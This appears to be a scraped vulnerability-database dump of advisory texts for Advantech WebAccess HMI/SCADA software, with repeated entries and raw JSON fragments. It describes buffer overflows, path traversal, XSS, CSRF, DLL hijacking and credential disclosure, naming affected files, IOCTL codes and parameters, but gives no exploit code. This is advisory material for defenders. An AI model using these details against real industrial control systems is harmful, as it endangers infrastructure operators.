var-201308-0031
Vulnerability from variot
Cross-site scripting (XSS) vulnerability in Advantech WebAccess (formerly BroadWin WebAccess) before 7.1 2013.05.30 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess HMI/SCADA has an unidentified cross-site script. Advantech WebAccess HMI/SCADA is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. Advantech WebAccess HMI/SCADA 7.0 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment

Vulnerability from variot
An Absolute Path Traversal issue was discovered in Advantech WebAccess Version 8.1 and prior. The absolute path traversal vulnerability has been identified, which may allow an attacker to traverse the file system to access restricted files or directories. Advantech WebAccess Contains a path traversal vulnerability.Information is obtained and service operation is interrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to cause a denial of service condition on vulnerable installations of Advantech WebAccess. Authentication is required to exploit this vulnerability.The specific flaw exists within odbcPg4.asp. An attacker can leverage this vulnerability to overwrite key web files which will disable functionality on the target machine. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A directory traversal vulnerability exists in Advantech WebAccess due to the application's failure to adequately filter user-supplied input. A remote attacker exploited the vulnerability to retrieve sensitive information and execute arbitrary code through a specially crafted request with a directory traversal sequence ('../'). This may aid in further attacks. Advantech WebAccess version 8.1 and prior are vulnerable

"data": "Unspecified vulnerability in Advantech WebAccess before 7.2 allows remote authenticated users to create or delete arbitrary files via unknown vectors. Authentication is not required to exploit this vulnerability. The specific flaw exists within the gmicons.asp functionality. An attacker may leverage this to run arbitrary code in the context of the WebAccess service. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems. Advantech WebAccess is prone to a remote code-execution vulnerability. Failed exploit attempts will likely cause a denial-of-service condition. \nAdvantech WebAccess 7.1 and prior are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech. There are security vulnerabilities in Advantech WebAccess 7.1 and earlier versions",

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within nvA1Media.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A stack buffer overflow vulnerability exists in Advantech WebAccess. Failed exploit attempts will likely cause a denial-of-service condition

Vulnerability from variot
Advantech/BroadWin WebAccess 7.0 and earlier allows remote attackers to obtain sensitive information via a direct request to a URL. NOTE: the vendor reportedly "does not consider it to be a security risk.". Advantech Advantech specializes in network computer and network automation, providing more than 450 products including industrial data acquisition, automation software, computer platforms, Advantech industrial computers, computer motherboards and accessories. Advantech/BroadWin SCADA WebAccess is a fully browser-based Human Machine Interface (HMI) and Monitoring and Data Acquisition (SCADA) software. Advantech WebAccess submits a specially crafted URL that does not authenticate users with access to restricted information. Advantech WebAccess is prone to multiple remote vulnerabilities. Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, execute arbitrary code gain access to sensitive information, cause a denial-of-service condition. Other attacks are possible. Vulnerabilities exist in Advantech/BroadWin WebAccess 7.0 and earlier versions. ----------------------------------------------------------------------
Ovum says ad hoc tools are out-dated. The best practice approach? Fast vulnerability intelligence, threat handling, and setup in one tool.

Only the clients and servers that have a legitimate procedural relationship with the service should be permitted to communicate with it. This could be accomplished in a number of ways, most notably with firewall rules/whitelisting. These features are available in the native Windows Firewall, as described in and numerous other Microsoft Knowledge Base articles.",

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable instances of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x13C7B IOCTL in the BwOpcTool subsystem. A stack-based buffer overflow vulnerability exists in a call to sprintf using the ProjectName and NodeName parameters. An attacker can use this vulnerability to execute arbitrary code in the context of an administrator of the system.

Vulnerability from variot
Advantech WebAccess 8.3.1 and earlier has several stack-based buffer overflow vulnerabilities that have been identified, which may allow an attacker to execute arbitrary code. Authentication is not required to exploit this vulnerability.The specific flaw exists within bwclient.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech (Advantech) WebAccess software is the core of Advantech's IoT application platform solution, providing users with a user interface based on HTML5 technology to achieve cross-platform and cross-browser data access experience. A stack buffer overflow vulnerability exists in Advantech WebAccess. Advantech WebAccess is prone to the following security vulnerabilities: 1. A directory-traversal vulnerability 3. An arbitrary-file-deletion vulnerability 4. This may aid in further attacks. Advantech WebAccess 8.3.1 and prior versions are vulnerable

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within RtspVapgDecoderNew2.dll. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within spchapi.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of Administrator.

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within nvA1Media.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment

Vulnerability from variot
This vulnerability allows local attackers to escalate privileges on vulnerable installations of Advantech WebAccess Node. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.The specific flaw exists within the access control that is set and modified during the installation of the product. The product installation weakens existing access control restrictions of current system files, then sets weak access control restrictions on new files. An attacker can leverage this vulnerability to escalate privileges to the level of an administrator.

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess (formerly BroadWin WebAccess) 7.2 allows remote attackers to execute arbitrary code via the NodeName2 parameter. Advantech WebAccess is an IE-based HMI/SCADA monitoring software featuring all engineering projects, database setup, drawing and software management using standard browsers over the internet or intranet. A buffer overflow vulnerability exists in Advantech WebAccess. An attacker exploits a vulnerability to execute arbitrary code in the context of an affected application or to crash the entire application. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed exploit attempts will likely cause a denial-of-service condition. Advantech WebAccess 7.2 is vulnerable; other versions may also be affected. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment.

Vulnerability from variot
Integer overflow in the Kernel service in Advantech WebAccess before 8.1 allows remote attackers to execute arbitrary code or cause a denial of service (stack-based buffer overflow) via a crafted RPC request. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x791E IOCTL in the Kernel subsystem. An integer overflow for alloc size vulnerability exists. An attacker can use this vulnerability to execute arbitrary code in the context of an administrator of the system. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems. Advantech WebAccess is prone to following security vulnerabilities: 1. A denial-of-service vulnerability 2. An arbitrary file-upload vulnerability 3. A directory-traversal vulnerability 4. Multiple stack-based buffer-overflow vulnerabilities 5. Multiple buffer-overflow vulnerabilities 7. Multiple information disclosure vulnerabilities 8. A cross-site scripting vulnerability 9. An SQL-injection vulnerability 10. A cross-site request forgery vulnerability 11. This may aid in further attacks. Advantech WebAccess 8.0 and prior versions are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech

Vulnerability from variot
In Advantech WebAccess versions V8.2_20170817 and prior, WebAccess versions V8.3.0 and prior, WebAccess Dashboard versions V.2.0.15 and prior, WebAccess Scada Node versions prior to 8.3.1, and WebAccess/NMS 2.0.3 and prior, several stack-based buffer overflow vulnerabilities have been identified, which may allow an attacker to execute arbitrary code. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within bwsound.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code under the context of Administrator. Advantech WebAccess and others are products of Advantech. Advantech WebAccess is a browser-based HMI/SCADA software. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. WebAccess Dashboard is one of the dashboard components; WebAccess Scada Node is one of the monitoring node components. WebAccess/NMS is a suite of web browsers for the Network Management System (NMS). A stack buffer overflow vulnerability exists in several Advantech products. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple SQL-injection vulnerabilities 2. An information-disclosure vulnerability 3. A file-upload vulnerability 4. Multiple directory-traversal vulnerabilities 5. Multiple stack-based buffer-overflow vulnerabilities 6. A heap-based buffer-overflow vulnerability 7. Multiple arbitrary code-execution vulnerabilities 8. A denial-of-service vulnerability 9. A security-bypass vulnerability 10. A privilege-escalation vulnerability An attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database, delete arbitrary files, gain elevated privileges, perform certain unauthorized actions, upload arbitrary files to the affected application gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions. Advantech WebAccess, etc. Advantech WebAccess is a set of HMI/SCADA software based on browser architecture. The following versions are affected: Advantech WebAccess 8.2_20170817 and earlier, 8.3.0 and earlier; WebAccess Dashboard 2.0.15 and earlier; WebAccess Scada Node 8.3.1 and earlier; WebAccess/NMS 2.0.3 and earlier

"data": "In Advantech WebAccess versions V8.2_20170817 and prior, WebAccess versions V8.3.0 and prior, WebAccess Dashboard versions V.2.0.15 and prior, WebAccess Scada Node versions prior to 8.3.1, and WebAccess/NMS 2.0.3 and prior, several stack-based buffer overflow vulnerabilities have been identified, which may allow an attacker to execute arbitrary code. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within bwsound.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code under the context of Administrator. Advantech WebAccess and others are products of Advantech. Advantech WebAccess is a browser-based HMI/SCADA software. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. WebAccess Dashboard is one of the dashboard components; WebAccess Scada Node is one of the monitoring node components. WebAccess/NMS is a suite of web browsers for the Network Management System (NMS). A stack buffer overflow vulnerability exists in several Advantech products. Advantech WebAccess is prone to the following security vulnerabilities:\n1. Multiple SQL-injection vulnerabilities\n2. An information-disclosure vulnerability\n3. A file-upload vulnerability\n4. Multiple directory-traversal vulnerabilities\n5. Multiple stack-based buffer-overflow vulnerabilities\n6. A heap-based buffer-overflow vulnerability\n7. Multiple arbitrary code-execution vulnerabilities\n8. A denial-of-service vulnerability\n9. A security-bypass vulnerability\n10. A privilege-escalation vulnerability\nAn attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database, delete arbitrary files, gain elevated privileges, perform certain unauthorized actions, upload arbitrary files to the affected application gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions. Advantech WebAccess, etc. Advantech WebAccess is a set of HMI/SCADA software based on browser architecture. The following versions are affected: Advantech WebAccess 8.2_20170817 and earlier, 8.3.0 and earlier; WebAccess Dashboard 2.0.15 and earlier; WebAccess Scada Node 8.3.1 and earlier; WebAccess/NMS 2.0.3 and earlier",

Vulnerability from variot
A Stack-based Buffer Overflow issue was discovered in Advantech WebAccess versions prior to 8.3. There are multiple instances of a vulnerability that allows too much data to be written to a location on the stack. Advantech WebAccess Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the parsing of the command line in the bwprtscr utility. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment

Vulnerability from variot
An Improper Restriction Of Operations Within The Bounds Of A Memory Buffer issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. Researchers have identified multiple vulnerabilities that allow invalid locations to be referenced for the memory buffer, which may allow an attacker to execute arbitrary code or cause the system to crash. Advantech WebAccess Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple stack-based buffer-overflow vulnerabilities 2. Multiple heap-based buffer-overflow vulnerabilities. 3. Multiple memory-corruption vulnerabilities. 4. An SQL-injection vulnerability. 5. A format-string vulnerability. 6. An authentication-bypass vulnerability. 7. A security-bypass vulnerability. 8. A privilege-escalation vulnerability. 9. A remote-code execution vulnerability. An attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database,perform certain unauthorized actions, gain unauthorized access and gain elevated privileges. This may aid in further attacks. Advantech WebAccess versions prior to V8.2_20170817 are vulnerable

"data": "An Improper Restriction Of Operations Within The Bounds Of A Memory Buffer issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. Researchers have identified multiple vulnerabilities that allow invalid locations to be referenced for the memory buffer, which may allow an attacker to execute arbitrary code or cause the system to crash. Advantech WebAccess Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities:\n1. Multiple stack-based buffer-overflow vulnerabilities\n2. Multiple heap-based buffer-overflow vulnerabilities. \n3. Multiple memory-corruption vulnerabilities. \n4. An SQL-injection vulnerability. \n5. A format-string vulnerability. \n6. An authentication-bypass vulnerability. \n7. A security-bypass vulnerability. \n8. A privilege-escalation vulnerability. \n9. A remote-code execution vulnerability. \nAn attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database,perform certain unauthorized actions, gain unauthorized access and gain elevated privileges. This may aid in further attacks. \nAdvantech WebAccess versions prior to V8.2_20170817 are vulnerable",

Vulnerability from variot
In Advantech WebAccess versions V8.2_20170817 and prior, WebAccess versions V8.3.0 and prior, WebAccess Dashboard versions V.2.0.15 and prior, WebAccess Scada Node versions prior to 8.3.1, and WebAccess/NMS 2.0.3 and prior, an improper privilege management vulnerability may allow an authenticated user to modify files when read access should only be given to the user. plural Advantech WebAccess The product contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows local attackers to escalate privilege on vulnerable installations of Advantech WebAccess Node. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.The specific flaw exists within the access control that is set and modified during the installation of the product. The product installation weakens access control restrictions of pre-existing system files and sets weak access control restrictions on new files. An attacker can leverage this vulnerability to execute arbitrary code under the context of Administrator, the IUSR account, or SYSTEM. Advantech WebAccess and others are products of Advantech. Advantech WebAccess is a browser-based HMI/SCADA software. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. WebAccess Dashboard is one of the dashboard components; WebAccess Scada Node is one of the monitoring node components. WebAccess/NMS is a suite of web browsers for the Network Management System (NMS). A security vulnerability exists in several Advantech products that stems from a program's failure to properly manage permissions. An attacker could use this vulnerability to modify a file. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple SQL-injection vulnerabilities 2. An information-disclosure vulnerability 3. A file-upload vulnerability 4. Multiple directory-traversal vulnerabilities 5. Multiple stack-based buffer-overflow vulnerabilities 6. A heap-based buffer-overflow vulnerability 7. Multiple arbitrary code-execution vulnerabilities 8. A denial-of-service vulnerability 9. A security-bypass vulnerability 10. A privilege-escalation vulnerability An attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database, delete arbitrary files, gain elevated privileges, perform certain unauthorized actions, upload arbitrary files to the affected application gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions. Advantech WebAccess etc

This vulnerability allows local attackers to escalate privilege on vulnerable installations of Advantech WebAccess Node. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.The specific flaw exists within the access control that is set and modified during the installation of the product. The product installation weakens access control restrictions of pre-existing system files and sets weak access control restrictions on new files. An attacker can leverage this vulnerability to execute arbitrary code under the context of Administrator, the IUSR account, or SYSTEM. Advantech WebAccess and others are products of Advantech. Advantech WebAccess is a browser-based HMI/SCADA software. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. WebAccess Dashboard is one of the dashboard components; WebAccess Scada Node is one of the monitoring node components. WebAccess/NMS is a suite of web browsers for the Network Management System (NMS). A security vulnerability exists in several Advantech products that stems from a program\u0027s failure to properly manage permissions. An attacker could use this vulnerability to modify a file. Advantech WebAccess is prone to the following security vulnerabilities:\n1. Multiple SQL-injection vulnerabilities\n2. An information-disclosure vulnerability\n3. A file-upload vulnerability\n4. Multiple directory-traversal vulnerabilities\n5. Multiple stack-based buffer-overflow vulnerabilities\n6. A heap-based buffer-overflow vulnerability\n7. Multiple arbitrary code-execution vulnerabilities\n8. A denial-of-service vulnerability\n9. A security-bypass vulnerability\n10. A privilege-escalation vulnerability\nAn attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database, delete arbitrary files, gain elevated privileges, perform certain unauthorized actions, upload arbitrary files to the affected application gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions. Advantech WebAccess etc",

Vulnerability from variot
upAdminPg.asp in Advantech WebAccess before 7.2 allows remote authenticated users to discover credentials by reading HTML source code. This vulnerability allows remote attackers to disclose arbitrary credentials on vulnerable versions of Advantech WebAccess. Authentication is required to exploit this vulnerability. The specific flaw exists within the upAdminPg.asp component. An authenticated user can provide an arbitrary existing account name to this page and receive the account password. An attacker can leverage this vulnerability to then authenticate as the WebAccess Administrator. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess has a password disclosure vulnerability, and its upAdminPg.asp component contains passwords for specific accounts, allowing attackers to exploit vulnerabilities to obtain sensitive information. Advantech WebAccess is prone to a remote information-disclosure vulnerability. This may aid in further attacks. Advantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. There are security holes in the upAdminPg.asp script of Advantech WebAccess 7.1 and earlier versions

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within BwOpcBs.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of Administrator.

Vulnerability from variot
Cross-site scripting (XSS) vulnerability in bwerrdn.asp in Advantech/BroadWin WebAccess before 7.0 allows remote attackers to inject arbitrary web script or HTML via unspecified parameters. Advantech Advantech specializes in network computer and network automation, providing more than 450 products including industrial data acquisition, automation software, computer platforms, Advantech industrial computers, computer motherboards and accessories. Advantech/BroadWin SCADA WebAccess is a fully browser-based Human Machine Interface (HMI) and Monitoring and Data Acquisition (SCADA) software. Advantech WebAccess bwerrdn.asp lacks filtering on parameters leading to cross-site scripting attacks. Advantech WebAccess is prone to multiple remote vulnerabilities. Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, execute arbitrary code gain access to sensitive information, cause a denial-of-service condition. Other attacks are possible. ----------------------------------------------------------------------
Ovum says ad hoc tools are out-dated. The best practice approach? Fast vulnerability intelligence, threat handling, and setup in one tool.

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within TpMegaJVT.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Vulnerability from variot
In WebAccess/SCADA, Versions 8.3.5 and prior, multiple stack-based buffer overflow vulnerabilities are caused by a lack of proper validation of the length of user-supplied data. Exploitation of these vulnerabilities may allow remote code execution. WebAccess/SCADA Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x271C IOCTL in the webvrpcs process. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess/SCADA is prone to the following security vulnerabilities: 1. A directory-traversal vulnerability 2. Multiple stack-based buffer-overflow vulnerabilities 3. Multiple heap-based buffer-overflow vulnerabilities 4. An information disclosure vulnerability 5. Multiple remote-code execution vulnerabilities An attacker can exploit these issues to execute arbitrary code in the context of the application, modify and delete files, use directory-traversal sequences (â??../â??) to retrieve arbitrary files, escalate privileges and perform certain unauthorized actions or obtain sensitive information. This may aid in further attacks. Advantech WebAccess/SCADA Versions 8.3.5 and prior versions are vulnerable

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable instances of Advantech WebAccess.

Vulnerability from variot
Cross-site request forgery (CSRF) vulnerability in Advantech/BroadWin WebAccess before 7.0 allows remote attackers to hijack the authentication of unspecified victims via unknown vectors. Advantech/BroadWin WebAccess Contains a cross-site request forgery vulnerability.Authentication may be hijacked by a third party. Advantech Advantech specializes in network computer and network automation, providing more than 450 products including industrial data acquisition, automation software, computer platforms, Advantech industrial computers, computer motherboards and accessories. Advantech/BroadWin SCADA WebAccess is a fully browser-based Human Machine Interface (HMI) and Monitoring and Data Acquisition (SCADA) software. Advantech WebAccess is prone to multiple remote vulnerabilities. Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, execute arbitrary code gain access to sensitive information, cause a denial-of-service condition. Other attacks are possible. ----------------------------------------------------------------------
Ovum says ad hoc tools are out-dated. The best practice approach? Fast vulnerability intelligence, threat handling, and setup in one tool.

Only the clients and servers that have a legitimate procedural relationship with the service should be permitted to communicate with it. This could be accomplished in a number of ways, most notably with firewall rules/whitelisting. These features are available in the native Windows Firewall, as described in and numerous other Microsoft Knowledge Base articles.",

Vulnerability from variot
Advantech WebAccess 8.3.1 and earlier has a path traversal vulnerability which may allow an attacker to execute arbitrary code. Advantech WebAccess Contains a path traversal vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities: 1. A stack-based buffer overflow vulnerability 2. A directory-traversal vulnerability 3. An arbitrary-file-deletion vulnerability 4. This may aid in further attacks. Advantech WebAccess 8.3.1 and prior versions are vulnerable

"data": "Advantech WebAccess 8.3.1 and earlier has a path traversal vulnerability which may allow an attacker to execute arbitrary code. Advantech WebAccess Contains a path traversal vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities:\n1. A stack-based buffer overflow vulnerability\n2. A directory-traversal vulnerability\n3. An arbitrary-file-deletion vulnerability\n4. This may aid in further attacks. \nAdvantech WebAccess 8.3.1 and prior versions are vulnerable",

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within TpMegaJVT.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Vulnerability from variot
Advantech WebAccess Node, Version 8.4.4 and prior, Version 9.0.0. Multiple relative path traversal vulnerabilities exist that may allow a low privilege user to overwrite files outside the application’s control. Advantech WebAccess Node Exists in a past traversal vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess/SCADA. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of IOCTL 0x0000277d in ViewSrv.dll. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess is a browser-based SCADA software package for monitoring, data acquisition, and visualization. It is used to automate complex industrial processes when remote operation is required

"data": "Advantech WebAccess Node, Version 8.4.4 and prior, Version 9.0.0. Multiple relative path traversal vulnerabilities exist that may allow a low privilege user to overwrite files outside the application\u2019s control. Advantech WebAccess Node Exists in a past traversal vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess/SCADA. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of IOCTL 0x0000277d in ViewSrv.dll. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess is a browser-based SCADA software package for monitoring, data acquisition, and visualization. It is used to automate complex industrial processes when remote operation is required",

Vulnerability from variot
An Uncontrolled Search Path Element issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. A maliciously crafted dll file placed earlier in the search path may allow an attacker to execute code within the context of the application. Advantech WebAccess Contains a vulnerability related to uncontrolled search path elements.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple stack-based buffer-overflow vulnerabilities 2. Multiple heap-based buffer-overflow vulnerabilities. 3. Multiple memory-corruption vulnerabilities. 4. An SQL-injection vulnerability. 5. A format-string vulnerability. 6. An authentication-bypass vulnerability. 7. A security-bypass vulnerability. 8. A privilege-escalation vulnerability. 9. A remote-code execution vulnerability. An attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database,perform certain unauthorized actions, gain unauthorized access and gain elevated privileges. This may aid in further attacks. Advantech WebAccess versions prior to V8.2_20170817 are vulnerable

Vulnerability from variot
Advantech WebAccess 8.1 and earlier contains a DLL hijacking vulnerability which may allow an attacker to run a malicious DLL file within the search path resulting in execution of arbitrary code. Advantech WebAccess Contains a vulnerability related to uncontrolled search path elements.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A DLL hijacking vulnerability exists in Advantech WebAccess 8.1 and earlier. Advantech WebAccess is prone to a local arbitrary code-execution vulnerability because it fails to sanitize user-supplied input. Advantech WebAccess 8.1 and prior are vulnerable

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within nvA1Media.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within TpMegaJVT.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Vulnerability from variot
